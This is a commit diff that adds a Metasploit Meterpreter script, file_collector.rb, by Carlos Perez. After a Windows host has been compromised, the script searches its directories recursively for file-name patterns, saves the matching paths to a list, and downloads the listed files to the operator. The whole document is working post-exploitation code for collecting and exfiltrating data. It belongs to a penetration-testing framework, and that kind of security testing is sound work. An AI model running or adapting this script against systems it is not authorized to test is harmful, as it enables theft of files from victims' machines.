Meterpreter script for finding and saving name and path to file for easy selection and downloading those files.

git-svn-id: file:///home/svn/framework3/trunk@10186 4d416f70-5f16-0410-b530-b9f4589650da

scripts/meterpreter/file_collector.rb

@@ -0,0 +1,80 @@
+# $Id$
+# $Revision$
+# Author: Carlos Perez at carlos_perez[at]darkoperator.com
+#-------------------------------------------------------------------------------
+@client = client
+location = nil
+search_blob = nil
+input_file = nil
+output_file = nil
+recurse = false
+logs = nil
+@opts = Rex::Parser::Arguments.new(
+	"-h" => [false, "Help menu." ],
+	"-i" => [true, "Input file with list of files to download, one per line."],
+	"-d" => [true, "Directory to start search on, search will be recursive."],
+	"-f" => [true, "Search blobs separated by a |."],
+	"-o" => [true, "Output File to save the full path of files found."],
+	"-r" => [false, "Search subdirectories."],
+	"-l" => [true, "Location where to save the files."]
+)
+# Function for displaying help message
+def usage
+	print_line "Meterpreter Script for searching and downloading files that"
+	print_line "match a specific pattern. First save files to a file, edit and"
+	print_line("use that same file to download the choosen files.")
+	print_line(@opts.usage)
+	raise Rex::Script::Completed
+end
+
+# Check that we are running under the right type of Meterpreter
+if client.platform =~ /win32|win64/
+	# Parse the options
+	if args.length > 0
+		@opts.parse(args) { |opt, idx, val|
+			case opt
+			when "-h"
+				usage
+			when "-i"
+				input_file = val
+			when "-o"
+				output_file = val
+			when "-d"
+				location = val
+			when "-f"
+				search_blob = val.split("|")
+			when "-r"
+				recurse = true
+			when "-l"
+				logs = val
+			end
+		}
+		# Search for files and save their location if specified
+		if search_blob.length > 0 and location
+			search_blob.each do |s|
+				print_status("Searching for #{s}")
+				results = @client.fs.file.search(location,s,recurse)
+				results.each do |file|
+					print_status("\t#{file['path']}\\#{file['name']} (#{file['size']} bytes)")
+					file_local_write(output_file,"#{file['path']}\\#{file['name']}") if output_file
+				end
+			end
+		end
+		# Read log file and download those files found
+		if input_file and logs
+			if ::File.exists?(input_file)
+				print_status("Reading file #{input_file}")
+				::File.open(input_file, "r").each_line do |line|
+					print_status("Downloading #{line.chomp}")
+					@client.fs.file.download(logs, line.chomp)
+				end
+			else
+				print_error("File #{input_file} does not exist!")
+			end
+		end
+	else
+		usage
+	end
+else
+	print_error["This script is not supported on this version of Meterpreter."]
+end